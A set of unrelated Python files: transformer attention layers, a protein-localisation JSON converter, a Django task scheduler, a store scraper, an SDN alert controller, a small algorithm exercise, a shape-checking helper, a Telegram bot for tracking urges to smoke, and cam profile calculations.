        V_ = tf.concat(tf.split(V, num_heads, axis=-1), axis=0)  # [num_heads * N, T_k, C/num_heads]

        # Attention
        outputs = tf.matmul(Q_, tf.transpose(K_, [0, 2, 1]))  # (num_heads * N, T_q, T_k)

        # Scale : outputs = outputs / sqrt( d_k)
        outputs = outputs / (K_.get_shape().as_list()[-1] ** 0.5)

        # Key Masking
        # see : https://github.com/Kyubyong/transformer/issues/3
        key_masks = tf.sign(tf.abs(tf.reduce_sum(keys, axis=-1)))  # (N, T_k)
        key_masks = tf.tile(key_masks, [num_heads, 1])  # (h*N, T_k)
        key_masks = tf.tile(tf.expand_dims(key_masks, 1), [1, tf.shape(queries)[1], 1])  # (h*N, T_q, T_k)

        paddings = tf.ones_like(outputs) * (-2 ** 32 + 1)  # -infinity
        outputs = tf.where(tf.equal(key_masks, 0), paddings, outputs)  # (h*N, T_q, T_k)

        # Causality = Future blinding
        if causality:
            diag_vals = tf.ones_like(outputs[0, :, :])  # (T_q, T_k)
            tril = tf.contrib.linalg.LinearOperatorTriL(diag_vals).to_dense()  # (T_q, T_k)
            masks = tf.tile(tf.expand_dims(tril, 0), [tf.shape(outputs)[0], 1, 1])  # (h*N, T_q, T_k)

            paddings = tf.ones_like(masks) * (-2 ** 32 + 1)
            outputs = tf.where(tf.equal(masks, 0), paddings, outputs)  # (h*N, T_q, T_k)

        # Activation: outputs is a weight matrix
        outputs = tf.nn.softmax(outputs)  # (h*N, T_q, T_k)

        # Query Masking
        query_masks = tf.sign(tf.abs(tf.reduce_sum(queries, axis=-1)))  # (N, T_q)
        query_masks = tf.tile(query_masks, [num_heads, 1])  # (h*N, T_q)
        query_masks = tf.tile(tf.expand_dims(query_masks, -1), [1, 1, tf.shape(keys)[1]])  # (h*N, T_q, T_k)
        outputs *= query_masks  # broadcasting. (N, T_q, C)

        # dropouts
        outputs = tf.layers.dropout(outputs, rate=dropout_rate, training=tf.convert_to_tensor(is_training))

        # weighted sum
        outputs = tf.matmul(outputs, V_)  # ( h*N, T_q, C/h)

        # reshape
        outputs = tf.concat(tf.split(outputs, num_heads, axis=0), axis=2)  # (N, T_q, C)

        # residual connection
        outputs += queries

        # layer normaliztion
        outputs = layer_normalization(outputs)
        return outputs

def feedforward(inputs,
                num_units=[2048, 512],
                scope="multihead_attention",
                reuse=None):
    with tf.variable_scope(scope, reuse=reuse):
        # Inner layer
        params = {"inputs": inputs, "filters": num_units[0], "kernel_size": 1,
                  "activation": tf.nn.relu, "use_bias": True}
        outputs = tf.layers.conv1d(**params)

        # Readout layer
        params = {"inputs": outputs, "filters": num_units[1], "kernel_size": 1,
                  "activation": None, "use_bias": True}
        outputs = tf.layers.conv1d(**params)

        print("Conv ret:", outputs.shape)
        # Residual connection
        outputs += inputs

        # Normalize
        outputs = layer_normalization(outputs)

    return outputs

# max_len = 91  代表有91个嵌入维度
def positional_encoding(inputs,batch_time,
                        maxlen=91,
                        masking=True,
                        scope="positional_encoding"):
    '''Sinusoidal Positional_Encoding. See 3.5
    inputs: 3d tensor. (N, T, E) batch_size,time_steps,embedding_size
    maxlen: scalar. Must be >= T
    masking: Boolean. If True, padding positions are set to zeros.
    scope: Optional scope for `variable_scope`.

    returns
    3d tensor that has the same shape as inputs.
    '''

    E = inputs.get_shape().as_list()[-1] # static
    N, T = tf.shape(inputs)[0], tf.shape(inputs)[1] # dynamic
    with tf.variable_scope(scope, reuse=tf.AUTO_REUSE):
        # position indices
        #position_ind = tf.tile(tf.expand_dims(tf.range(T), 0), [N, 1]) # (N, T)
        position_ind = batch_time  # 通过day time构造位置嵌入维度，相同的一天具有相同的嵌入维度

        # 1,T -> N T
        # First part of the PE function: sin and cos argument
        position_enc = np.array([
            [pos / np.power(10000, (i-i%2)/E) for i in range(E)]
            for pos in range(maxlen)])
        # 对于上面的i=2k i-i%2=2k
        # i = 2k+1 i-i%2 =2k
        # 所以i-i%2始终为偶数

        #position_enc = pos/10000^(2i/d_model)
        # Second part, apply the cosine to even columns and sin to odds.
        position_enc[:, 0::2] = np.sin(position_enc[:, 0::2])  # dim 2i
        # pe(pos,2i) = sin(position_enc)
        # [:,0::2]表示从第一个元素开始以2step遍历0, 2, 4, 6,...
        position_enc[:, 1::2] = np.cos(position_enc[:, 1::2])  # dim 2i+1
        # pe(pos,2i+1) =cos(position_enc)
        # [:,1::2]表示从第二个元素开始以2step遍历1, 3, 5, 7,...
        position_enc = tf.convert_to_tensor(position_enc, tf.float32) # (maxlen, E)
        # 翻译过来：这个函数把python的变量类型转换成tensor，而这个value可以是tensor，
        # numpy arrays(numpy 的数组)，python list（python 列表）python的变量
        # lookup
        outputs = tf.nn.embedding_lookup(position_enc, position_ind)

        # masks
        if masking:
            outputs = tf.where(tf.equal(inputs, 0), inputs, outputs)

        return tf.to_float(outputs)


import json
import pandas as pd
import os

class ParseJSONSchema:

    def __init__(self, dataset, directory):
        self.dataset = dataset
        self.directory = directory

    def update_directory(self):
        data = pd.read_csv(self.dataset, delimiter='\t', nrows=10000)
        data = data.where(pd.notnull(data), None)

        for i in range(len(data)):
            d = {}

            # data to "entity"
            d["entity"] = {}
            d["entity"]["type"] = "protein"
            seq_id = str(data.iloc[i,0])
            d["entity"]["name"] = seq_id[str(data.iloc[i,0]).rfind('|')+2:]

            # data to "identifier" in "entity"
            identifier = []
            dict_identifier = {} # dictionary for identifier in entity
            dict_identifier["namespace"] = "SeqID"
            dict_identifier["value"] = seq_id[8:22]
            identifier.append(dict_identifier)
            d["entity"]["identifiers"] = identifier

            # data to values
            d["values"] = []
            for column_name in data.columns[1:]:
                if column_name != "SeqID" and column_name != "PSortVersion":
                    values_dict = {}
                    values_dict["type"] = column_name
                    values_dict["value"] = data[column_name].iloc[i]
                    d["values"].append(values_dict)

            # data to "identifier"
            d["identifier"] = {}
            d["identifier"]["namespace"] = "SeqID"
            d["identifier"]["value"] = seq_id[8:22]

            # source
            d["source"] = []
            dict_source = {}
            dict_source["namespace"] = "PSORTsb Gram Positive"
            dict_source["value"] = "Version 3"
            d["source"].append(dict_source)

            # environment
            d["environment"] = {"GramStain": "Gram positive"}

            # Schema Version
            d["schema_version"] = "2.0"

            # Create JSON files and place in directory
            with open(self.directory+"/{}.json".format(seq_id[8:22]), "w+") as JSONfile:
                json.dump(d, JSONfile)

def main():
    json_files = ParseJSONSchema(dataset="./datanator/docs/protein_localization/computed_gram_positive/Computed-Gram_positive-PSORTdb-3.00.tab",
                                directory="./datanator/docs/protein_localization/computed_gram_positive/JSONSchema")

    json_files.update_directory()

if __name__ == "__main__":
    main()


from datetime import timedelta
from django_celery_beat.models import ClockedSchedule, IntervalSchedule
from django_celery_beat.models import PeriodicTask, HOURS
from django.core.management.base import BaseCommand
from django.utils import timezone

class Command(BaseCommand):
    help = 'Создание стартового расписания задач'

    def handle(self, *args, **options):
        # create clocked schedule for 'get_cities' task
        t_delta = timedelta(seconds=10)
        the_time = timezone.now() + t_delta
        get_cities_clocked = ClockedSchedule.objects.create(clocked_time=the_time)
        get_cities, created = PeriodicTask.objects.get_or_create(
            name='get_cities',
            task='weather.tasks.get_cities',
            clocked=get_cities_clocked,
            one_off=True,
        )
        # create clocked schedule for start 'get_weather'
        t_delta = timedelta(seconds=30)
        the_time = timezone.now() + t_delta
        get_weather_clocked = ClockedSchedule.objects.create(clocked_time=the_time)
        get_cities, created = PeriodicTask.objects.get_or_create(
            name='get_weather_clocked',
            task='weather.tasks.get_weather',
            clocked=get_weather_clocked,
            one_off=True,
        )
        # create interval schedule for 'get_weather' task
        the_interval = IntervalSchedule.objects.create(every=1, period=HOURS)
        get_weather, created = PeriodicTask.objects.get_or_create(
            name='get_weather_interval',
            task='weather.tasks.get_weather',
            interval=the_interval,
            start_time=the_time,
        )
        return


import urllib

from bs4 import BeautifulSoup
from decimal import Decimal

from storescraper.categories import GAMING_CHAIR, HEADPHONES, \
    VIDEO_GAME_CONSOLE, NOTEBOOK, KEYBOARD, MOUSE, STEREO_SYSTEM
from storescraper.product import Product
from storescraper.store import Store
from storescraper.utils import session_with_proxy, remove_words, \
    html_to_markdown

class Zmart(Store):
    @classmethod
    def categories(cls):
        return [
            VIDEO_GAME_CONSOLE,
            MOUSE,
            KEYBOARD,
            STEREO_SYSTEM,
            NOTEBOOK,
            GAMING_CHAIR,
            HEADPHONES
        ]

    @classmethod
    def discover_urls_for_category(cls, category, extra_args=None):
        base_url = 'https://www.zmart.cl'

        category_paths = [
            ['Consolas', VIDEO_GAME_CONSOLE],
            ['Asus', NOTEBOOK],
            ['logitech', KEYBOARD],
            ['Razer', MOUSE],
            [37, MOUSE],
            [38, KEYBOARD],
            [45, STEREO_SYSTEM],
            [532, GAMING_CHAIR],
            [76, HEADPHONES],
        ]

        product_urls = []
        session = session_with_proxy(extra_args)
        session.headers['User-Agent'] = \
            'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ' \
            '(KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36'

        for category_path, local_category in category_paths:
            if local_category != category:
                continue

            if isinstance(category_path, int):
                page = 1

                while True:
                    if page >= 10:
                        raise Exception('Page overflow')

                    category_url = \
                        '{}/scripts/prodList.asp?sinstock=0&idCategory={}&' \
                        'curPage={}'.format(base_url, category_path, page)

                    soup = BeautifulSoup(session.get(
                        category_url, verify=False).text, 'html.parser')

                    link_containers = soup.findAll('div', 'ProdBox146')

                    if not link_containers:
                        if page == 1:
                            raise Exception('Empty category: ' + category_url)
                        break

                    for link_container in link_containers:
                        product_url = link_container.find('a')['href']
                        if 'http' not in product_url:
                            product_url = base_url + product_url
                        product_urls.append(product_url)
                    page += 1
            else:
                category_url = base_url + '/' + category_path

                soup = BeautifulSoup(session.get(
                    category_url, verify=False).text, 'html.parser')

                link_containers = soup.findAll('div', 'BoxProductoS2')
                link_containers += soup.findAll('div', 'ProdBox240Media')
                link_containers += soup.findAll('div', 'ProdBox380_520')
                link_containers += soup.findAll('div', 'BoxProductoNotebook')

                if not link_containers:
                    raise Exception('Empty category: ' + category_url)

                for link_container in link_containers:
                    product_url = base_url + link_container.find('a')['href']
                    if 'idProduct' in product_url:
                        product_urls.append(product_url)

        return product_urls

    @classmethod
    def products_for_url(cls, url, category=None, extra_args=None):
        print(url)
        session = session_with_proxy(extra_args)
        session.headers['User-Agent'] = \
            'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ' \
            '(KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36'
        soup = BeautifulSoup(session.get(url, verify=False).text,
                             'html.parser')

        if soup.find('div', {'id': 'mensajes_sistema'}):
            return []

        name = soup.find('h1').text.strip()

        query_string = urllib.parse.urlparse(url).query
        key = urllib.parse.parse_qs(query_string)['idProduct'][0]

        if soup.find('button', {'name': 'add'}):
            stock = -1
        else:
            stock = 0

        order_type_container = soup.find(
            'div', {'id': 'ficha_producto'}).find('div', 'txTituloRef')

        if not order_type_container or 'PREVENTA' in order_type_container.text:
            stock = 0

        sku = soup.find('span', 'zmart__sku').text.strip()

        price_div = soup.find('div', {'id': 'ficha_producto'})
        price_tags = price_div.findAll('li')

        if len(price_tags) == 0:
            return []
        elif len(price_tags) == 1:
            normal_price = Decimal(remove_words(price_tags[0].find('p').text))
            offer_price = normal_price
        elif len(price_tags) == 2:
            offer_price = Decimal(remove_words(price_tags[0].find('p').text))
            normal_price = Decimal(remove_words(price_tags[1].find('p').text))
        else:
            raise Exception('Invalid number of price tags found')

        description = html_to_markdown(str(soup.find('div', 'tab')),
                                       'https://www.zmart.cl')

        pictures_container = soup.find('ul', {'id': 'imageGallery'})

        if pictures_container:
            picture_urls = []

            for tag in soup.find('ul', {'id': 'imageGallery'}).findAll('li'):
                picture_path = tag['data-src'].replace(' ', '%20')
                if 'http' in picture_path:
                    continue

                picture_urls.append('https://www.zmart.cl' + picture_path)
        else:
            picture_urls = None

        p = Product(
            name,
            cls.__name__,
            category,
            url,
            url,
            key,
            stock,
            normal_price,
            offer_price,
            'CLP',
            sku=sku,
            description=description,
            picture_urls=picture_urls
        )

        return [p]


import mmap

from ryu.controller import ofp_event
from ryu.controller.handler import MAIN_DISPATCHER
from ryu.controller.handler import set_ev_cls

from SDM.apps.BaseController import BaseController

class PushingController(BaseController):
    def __init__(self, *args, **kwargs):
        super(PushingController, self).__init__(*args, **kwargs)
        self.alerts = []

    # noinspection PyUnresolvedReferences
    @set_ev_cls(ofp_event.EventOFPExperimenter, MAIN_DISPATCHER)
    def alert_handler(self, ev):
        msg = ev.msg
        if str(msg.data) in self.alerts:
            return
        self.info('Alert Received: %s', msg.data)
        self.alerts.append(str(msg.data))
        if len(self.alerts) == self.parameters['RunParameters']['numHH']:
            with open(self.parameters['General']['sharedMemFilePath'], "r+b") as _file:
                mem_map = mmap.mmap(_file.fileno(), 0)
                mem_map[:6] = self.parameters['General']['alertToken']
                mem_map.close()


'''
设计一个函数返回传入的列表中最大和第二大的元素的值。

最开始的思路：先找到最大的，然后大家都减最大的，看谁和最大的距离小就是第二大的
思考更快的方法：先排序一下（默认从小到大），然后倒数两个就是最大和第二大的了
程序员的思路：从列表最初的两位开始向右遍历，不断更新在遍历过的数值中的最大与第二大

'''

import time
import random

l = []
for _ in range(1000000):
    a = random.randint(0,99999)
    l.append(a)

# 最开始的思路
def find_max2_v1(x):
	m1 = max(x)
	diff = []
	lenth = len(x)

	for i in range(0, lenth-1):
		d = x[i] - m1
		diff.append(d)

	diff_max = max(diff) #注意diff中的数都会是负数，要找最大的那个（负得越小）
	loc_m2 = diff.index(diff_max)
	m2 = x[loc_m2]

	return m1, m2

start = time.process_time()
print(find_max2_v1(l))
end = time.process_time()
print("执行时间1:", (end - start), "秒")  # 执行时间: 0.453125 秒

# sort的方法
def find_max2_v2(x):
	l = sorted(x)
	m1 = l[-1]
	m2 = l[-2]
	return m1, m2

start = time.process_time()
print(find_max2_v2(l))
end = time.process_time()
print("执行时间2:", (end - start), "秒") # 执行时间: 1.015625 秒

# 遍历的方法
def max2(x):
    m1, m2 = (x[0], x[1]) if x[0] > x[1] else (x[1], x[0])
    for index in range(2, len(x)):
        if x[index] > m1:
            m2 = m1
            m1 = x[index]
        elif x[index] > m2:
            m2 = x[index]
    return m1, m2
start = time.process_time()
print(max2(l))
end = time.process_time()
print("执行时间3:", (end - start), "秒") # 执行时间: 0.234375 秒


import logging

logger = logging.getLogger(__name__)
assert logger.level == logging.NOTSET
assert logger.getEffectiveLevel() == logging.WARNING
logger.setLevel(logging.INFO)
# create handler and set level
file_handler = logging.FileHandler('project.log')
file_handler.setLevel(logging.INFO)
# create formatter and add it to handler
file_format = logging.Formatter('%(asctime)s ::%(levelname)s - %(name)s - %(filename)s - %(funcName)s - %(message)s')
file_handler.setFormatter(file_format)
# add handler to the logger
logger.addHandler(file_handler)


import inspect
from typing import Any, Callable, Dict, Sequence, Type

from .base_types import Shape
from .error_contexts import ErrorContext, IndexContext, ObjectTypeContext, StackContext
from .exceptions import NoShapeError

GetShape = Callable[[Any, ErrorContext], Shape]

_GET_SHAPE_SENTINEL = object()
_GET_SHAPES: Dict[Type[Any], GetShape] = {}

def register_get_shape(shape_type: Type[Any]) -> Callable[[GetShape], GetShape]:
    """
    Register a function for extracting the shape from a given type of objects.

    Example:

    .. literalinclude:: /examples/test_check_shapes_examples.py
       :start-after: [custom_type]
       :end-before: [custom_type]
       :dedent:

    See also :func:`get_shape`.

    :param shape_type: Type of objects to extract shapes from.
    """
    # Yes, what's happening here looks extremely much like `functools.singledispatch`;
    # however we cannot actually use `functools.singledispatch`, because it uses a for/else
    # statement, which TensorFlow doesn't know how to compile...

    def _register(getter: GetShape) -> GetShape:
        _GET_SHAPES[shape_type] = getter
        return getter

    return _register

def get_shape(shaped: Any, context: ErrorContext) -> Shape:
    """
    Returns the shape of the given object.

    See also :func:`register_get_shape`.

    :param shaped: The objects whose shape to extract.
    :param context: Context we are getting the shape in, for improved error messages.
    :returns: The shape of ``shaped``, or ``None`` if the shape exists, but is unknown.
    :raises NoShapeError: If objects of this type does not have shapes.
    """
    for t in inspect.getmro(shaped.__class__):
        getter = _GET_SHAPES.get(t)
        if getter is not None:
            return getter(shaped, context)

    shape = getattr(shaped, "shape", _GET_SHAPE_SENTINEL)

    if shape == _GET_SHAPE_SENTINEL:
        raise NoShapeError(StackContext(context, ObjectTypeContext(shaped)))

    assert shape is None or isinstance(shape, tuple), shape

    return shape

@register_get_shape(bool)
@register_get_shape(int)
@register_get_shape(float)
@register_get_shape(str)
def get_scalar_shape(shaped: Any, context: ErrorContext) -> Shape:
    return ()

@register_get_shape(list)
@register_get_shape(tuple)
def get_sequence_shape(shaped: Sequence[Any], context: ErrorContext) -> Shape:
    if len(shaped) == 0:
        # If the sequence doesn't have any elements we cannot use the first element to determine the
        # shape, and the shape is unknown.
        return None
    child_shape = get_shape(shaped[0], StackContext(context, IndexContext(0)))
    if child_shape is None:
        return None
    return (len(shaped),) + child_shape


import os
import telebot
from telebot import types
from csv import writer
# from dbase import engine, session, Users, Stats, Reasons, add_data
from dbase import new_session, engine, Users, Stats, Reasons, add_data
from sqlalchemy import select, and_
from datetime import datetime, timezone, timedelta
import time
import pandas as pd
import plotly.express as px

API_KEY = os.getenv("TELEGRAM_API_KEY")

def main():
    bot = telebot.TeleBot(API_KEY)

    def msg_datetime(message):
        # Дата и время
        utc_date = datetime.fromtimestamp(message.date, timezone.utc)
        msk_date = utc_date + timedelta(hours=3)
        # msk_date = msk_date.strftime('%d.%m.%Y %H:%M:%S')
        return msk_date

    def main_menu(message):
        # Главное меню
        markup = types.ReplyKeyboardMarkup(row_width=2, resize_keyboard=True)
        item1 = types.KeyboardButton("Хочу курить")
        item2 = types.KeyboardButton("Посмотреть статистику")
        item3 = types.KeyboardButton("Скачать статистику")
        markup.add(item1, item2, item3)
        bot.send_message(message.chat.id, "Выбери в меню:", reply_markup=markup)

    @bot.message_handler(commands=["start"])
    def start(message):
        session = new_session()
        user_exists = session.query(Users).filter(Users.user_id == message.from_user.id).first()
        if not user_exists:
            new_user = Users(
                user_id=message.from_user.id,
                user_firstname=message.from_user.first_name,
                user_lastname=message.from_user.last_name,
                username=message.from_user.username
            )
            add_data(new_user)
            bot.send_message(message.chat.id, "Привет, жми /help чтобы узнать что умеет этот бот")
        main_menu(message)
        session.close()

    @bot.message_handler(commands=["help"])
    def help_command(message):
        bot.send_message(
            message.chat.id,
            "Этого бота я написал для того чтобы он помог мне бросить курить.\n"
            "Мне нужна статистика когда у меня появляется желание курить.\n"
            "Так мне будет проще понять от каких сигарет отказываться.\n\n"
            "Мне лень это записывать в блокнот или Excel, проще через бота пару кнопок "
            "нажать и он сам заполняет дату, время и причину (по которой захотелось курить).\n\n"
            "Как этим пользоваться: каждый раз когда появляется желание курить, жми Хочу курить.\n"
            "Дальше бот спрашивает: 'Идешь курить?' - если идешь, то жми Иду курить и выбирай причину.\n"
            "В начале причины нужно писать вручную - они будут добавляться в базу и в следующий раз "
            "предлагаться как кнопки. Со временем большинство твоих причин будут как кнопки.\n"
            "Но если ты сдержался и не пошёл курить то жми Не иду курить - тогда в статистику это запишется "
            "как Сдержался.\n"
            "Вот можешь поставить себе цель чтобы Сдержался было чаще других причин.\n\n"
            "Также бот умеет показывать 3 графика:\nСигарет в день, Частота причин, По часам.\n\n"
            # "Нажми на /examples чтобы посмотреть примеры графиков.\n\n"
            "И если нужна статистика в виде csv файла то жми Скачать статистику.\n\n"
            "Чтобы начать жми /start")

    @bot.message_handler(commands=["examples"])
    def examples(message):
        # TODO через эту команду отправлять 3 картинки с примерами графиков
        pass

    @bot.message_handler(content_types=["text"])
    def sub_menus(message):
        # Подменю
        # 1.
        if message.text == "Хочу курить":
            markup = types.ReplyKeyboardMarkup(row_width=2, resize_keyboard=True)
            item1 = types.KeyboardButton("Иду курить")
            item2 = types.KeyboardButton("Не иду курить")
            markup.add(item1, item2)
            bot.send_message(message.chat.id, "Идешь курить?", reply_markup=markup)

        # 1.1
        elif message.text == "Иду курить":
            # Причина
            # Вытаскиваю причины пользователя с прошлых записей
            session = new_session()
            reasons = [reason.reason for reason in
                       session.query(Reasons).filter(Reasons.user_id == message.from_user.id)]
            reasons.sort()
            reasons.append("Отмена")

            # Выдаю причины как кнопки под чатом
            # TODO ограничить количество причин на топ10. Остальные спрятать под кнопку Показать все
            markup = types.ReplyKeyboardMarkup(row_width=3, resize_keyboard=True)
            for reason in reasons:
                itembtn = types.KeyboardButton(reason)
                markup.add(itembtn)
            choose_reason = bot.send_message(message.chat.id, "Выбери причину или напиши новую:", reply_markup=markup)
            bot.register_next_step_handler(choose_reason, add_to_stats)
            session.close()

        # 1.2
        elif message.text == "Не иду курить":
            add_to_stats(message)

        # Назад в главное меню
        elif message.text == "Отмена" or message.text == "Назад":
            main_menu(message)

        # Посмотреть статистику
        elif message.text == "Посмотреть статистику":
            markup = types.ReplyKeyboardMarkup(row_width=2, resize_keyboard=True)
            item1 = types.KeyboardButton("Сигарет в день")
            item2 = types.KeyboardButton("Частота причин")
            item3 = types.KeyboardButton("По часам")
            item4 = types.KeyboardButton("Назад")
            markup.add(item1, item2, item3, item4)
            bot.send_message(message.chat.id, "Выбери статистику:", reply_markup=markup)

        # 2.1
        elif message.text == "Сигарет в день":
            counter_start = time.perf_counter()

            bot.send_message(message.chat.id, "Пару секунд")

            stats_query = select(Stats.date_time, Reasons.reason) \
                .where(Stats.user_id == message.from_user.id) \
                .join_from(Stats, Reasons)
            stats_df = pd.read_sql(stats_query, engine)
            if not stats_df.empty:
                stats_df["date_time"] = stats_df["date_time"].dt.date

                cig_per_day = stats_df.groupby("date_time").count()
                line_graph = px.line(cig_per_day,
                                     title="Сигарет в день",
                                     labels={"date_time": "День",
                                             "value": "Количество"}
                                     )
                line_graph.update(layout_showlegend=False)
                image_out = line_graph.to_image(format="png")
                bot.send_photo(message.chat.id, image_out)
            else:
                bot.send_message(message.chat.id, "Нет данных для графика.\n"
                                                  "Сначала добавь несколько записей когда ты шёл курить.")

            counter_end = time.perf_counter()
            print(f"{datetime.now():%Y.%m.%d %H:%M:%S:%f} График 'Сигарет в день': {(counter_end - counter_start):.3f} сек.")

        # 2.2
        elif message.text == "Частота причин":
            counter_start = time.perf_counter()
            bot.send_message(message.chat.id, "Пару секунд")

            stats_query = select(Stats.reason_id, Reasons.reason) \
                .where(Stats.user_id == message.from_user.id) \
                .join_from(Stats, Reasons)
            stats_df = pd.read_sql(stats_query, engine)
            if not stats_df.empty:
                freq_reason = stats_df["reason"].value_counts()
                bar = px.bar(
                    freq_reason,
                    title="Частота причин",
                    labels={"index": "Причина", "value": "Количество"},
                    color=freq_reason.values,
                    color_continuous_scale="agsunset"
                )
                bar.update_layout(xaxis_tickangle=45)
                bar.update(layout_coloraxis_showscale=False)

                image_out = bar.to_image(format="png")
                bot.send_photo(message.chat.id, image_out)
            else:
                bot.send_message(message.chat.id, "Нет данных для графика.\n"
                                                  "Сначала добавь несколько записей когда ты шёл курить.")

            counter_end = time.perf_counter()
            print(f"{datetime.now():%Y.%m.%d %H:%M:%S:%f} График 'Частота причин': {(counter_end - counter_start):.3f} сек.")

        # 2.3
        elif message.text == "По часам":
            counter_start = time.perf_counter()
            bot.send_message(message.chat.id, "Пару секунд")

            stats_query = select(Stats.date_time) \
                .where(Stats.user_id == message.from_user.id)
            stats_df = pd.read_sql(stats_query, engine)

            if not stats_df.empty:
                stats_df["date_time"] = stats_df["date_time"].dt.hour

                hourly = stats_df["date_time"].value_counts()
                bar = px.bar(
                    hourly,
                    title="По часам",
                    labels={"index": "Час", "value": "Количество"},
                    color=hourly.values,
                    color_continuous_scale="agsunset"
                )
                bar.update(layout_coloraxis_showscale=False)

                image_out = bar.to_image(format="png")
                bot.send_photo(message.chat.id, image_out)
            else:
                bot.send_message(message.chat.id, "Нет данных для графика.\n"
                                                  "Сначала добавь несколько записей когда ты шёл курить.")

            counter_end = time.perf_counter()
            print(f"{datetime.now():%Y.%m.%d %H:%M:%S:%f} График 'Сигарет в день': {(counter_end - counter_start):.3f} сек.")

        # 3
        elif message.text == "Скачать статистику":
            session = new_session()
            stats_query = session.query(Stats) \
                .filter(Stats.user_id == message.from_user.id) \
                .join(Reasons, Stats.reason_id == Reasons.id).all()

            with open("stats.csv", "w", newline="", encoding="cp1251") as file:
                csvwriter = writer(file, delimiter=",")
                csvwriter.writerow(["sep=,"])
                csvwriter.writerow(["Дата и время", "Причина"])
                for r in stats_query:
                    csvwriter.writerow([r.date_time, r.reason.reason])
            bot.send_document(message.chat.id,
                              document=open("stats.csv", "rb"),
                              visible_file_name="Статистика.csv")
            session.close()

    # Добавление новой записи
    def add_to_stats(message):
        msk_date = msg_datetime(message)
        reason = message.text
        if reason == "Не иду курить":
            reason = "Сдержался"
        elif reason == "Отмена":
            return main_menu(message)

        # Проверяю существует ли уже такая Причина
        session = new_session()
        reason_exists = session.query(Reasons) \
            .filter(and_(Reasons.reason == reason, Reasons.user_id == message.from_user.id)) \
            .first()
        # Добавляю новую Причину если её не существует
        if not reason_exists:
            new_reason = Reasons(
                user_id=message.from_user.id,
                reason=reason
            )
            session.add(new_reason)
            session.flush()
            reason_id = new_reason.id
            session.commit()
        # Беру id существующей
        else:
            reason_id = reason_exists.id

        # Добавляю новую строку в Статистику
        new_to_stats = Stats(
            date_time=msk_date,
            user_id=message.from_user.id,
            reason_id=reason_id
        )
        add_data(new_to_stats)

        bot.send_message(message.chat.id, text=f"Ок, записал")
        main_menu(message)
        session.close()

    bot.polling(none_stop=True)

if __name__ == "__main__":
    main()


import numpy as np
from grapher import grapher

#making follower strand
def strand(value):
    prof = value["profiles"]    #short forming into prof

    #-------------------------loop for motion----------------------------------
    def make(i,prevAng):    #get previous angle to make harmony
        L=value["L"]
        #--------DWELL-----------
        if i["type"] == "dwell":
            cord = np.zeros((2,i["pnt"]))
            if i['max']:
                cord[0,0:] = np.linspace(prevAng, i["deg"]+prevAng, i["pnt"])
                cord[1,0:] = L
                return cord
            cord[0,0:] = np.linspace(prevAng, i["deg"]+prevAng, i["pnt"])
            cord[1,0:] = 0
            return cord

        #   initializing cord and x variable
        cord = np.zeros((2, i["pnt"]))
        x = np.linspace(0, i["deg"],i["pnt"])
        cord[0,0:] = np.linspace(prevAng,i["deg"]+prevAng,i["pnt"])

            #-------CONSTANT VELOCITY:---------
        if i["motion"] == "const_v":
            print(i["deg"],i["motion"])
            if i["type"] == "outStroke":
                cord[1,0:] = L/i["deg"]*x
            else:
                cord[1,0:] = L - L/i["deg"]*x
            return cord

            #------CONSTANT ACCELERATION:-------
        elif i["motion"] == "const_a":
            #print(i["deg"],i["motion"])
            mul = 2 * L/i["deg"]**2
            if i["type"] == "outStroke":    #RISING
                cord[1,0:] = np.where(x < i["deg"]/2, mul*x**2, L*(1-2*(1-x/i["deg"])**2))
            else:                           #DIVING
                cord[1,0:] = np.where(x < i["deg"]/2, L*(1-2*(x/i["deg"])**2), 2*L*(1-x/i["deg"])**2)
            return cord
            #-------SIMPLE HARMONIC MOTION:-------
        elif i["motion"] == "shm":
            print(i["deg"],i["motion"])
            if i["type"] == "outStroke":
                cord[1,0:] = L/2-L/2*np.cos(np.pi/i["deg"]*x)
            else:
                cord[1,0:] = L/2+L/2*np.cos(np.pi/i["deg"]*x)
            return cord
            #----------CYLOIDAL MOTION-------------
        elif i["motion"] == "cyc":
            print(i["deg"],i["motion"])
            if i["type"] == "outStroke":
                cord[1,0:] = x*L/i["deg"] - L/(2*np.pi)*np.sin(x*2*np.pi/i["deg"])
            else:
                cord[1,0:] = (1-x/i["deg"])*L + L/(2*np.pi)*np.sin(x*2*np.pi/i["deg"])
            return cord

    #------------------------------loop for types-----------------------------
    firstTime = True        #to initiate first follower strand
    prevAng = 0

    for i in prof:
        if firstTime:
            #print("firstTime")
            cord = make(i,prevAng)
            #print("\n  cord\n",cord)
            sum = np.copy(cord)
            #print("\n  sum\n",sum)
        else:
            cord = make(i,prevAng)
            #print("\n  cord\n",cord)
            sum = np.concatenate((sum, cord), axis=1)
            #print("\n  sum\n",sum)
        firstTime = False
        prevAng = prevAng + i["deg"]
    #   MAKE RADIAL CAM PROFILE
    row, col = np.shape(sum)
    buf = np.zeros((2,col))
    #   CALULATION OF OFFSET
    f = value["offset"]
    r = value["cam_r"]
    # adj = l + np.sqrt(r**2-f**2)
    # o_ang = np.arctan(f/(sum[1] + np.sqrt(r**2-f**2)))
    # (r+ay)^2 = f^2 + (sqrt(r^2-f^2)+l^2)^2
    # where r+ay is the radius
    buf[0,0:] = (np.sqrt(f**2 + (sum[1] + np.sqrt(r**2-f**2))**2))*np.cos(sum[0]-np.arctan(f/(sum[1] + np.sqrt(r**2-f**2))))
    buf[1,0:] = (np.sqrt(f**2 + (sum[1] + np.sqrt(r**2-f**2))**2))*np.sin(sum[0]-np.arctan(f/(sum[1] + np.sqrt(r**2-f**2))))
    sum = np.concatenate((sum,buf),axis=0)
    return sum

    # fig = plt.figure()
    # ax = fig.add_subplot(111)
    # ax.set_aspect('equal', adjustable='box')
    # plt.plot(rcord[0],rcord[1])
    # plt.show()

if __name__ == "__main__":
    value = {
        "L":20,
        "cam_r":50,
        "offset":10,
        "profiles":[
        {
            'type':'outStroke',
            'deg':np.deg2rad(30),
            'motion':'cyc',
            "pnt":50
        },
        {
            'type':'dwell',
            'deg':np.deg2rad(30),
            'pnt':20,
            'max':True
        },
        {
            'type':'returnStroke',
            'deg':np.deg2rad(50),
            'motion':'const_a',
            "pnt":50
        },
        {
            'type':'dwell',
            'deg':None,
            'pnt':20,
            'max':False
        }
        ]
    }
    out = value["profiles"][0]['deg']
    dw = value["profiles"][1]['deg']
    rtn = value["profiles"][2]['deg']
    value["profiles"][3]['deg'] = 2*np.pi - (out+dw+rtn)
    #print(value)
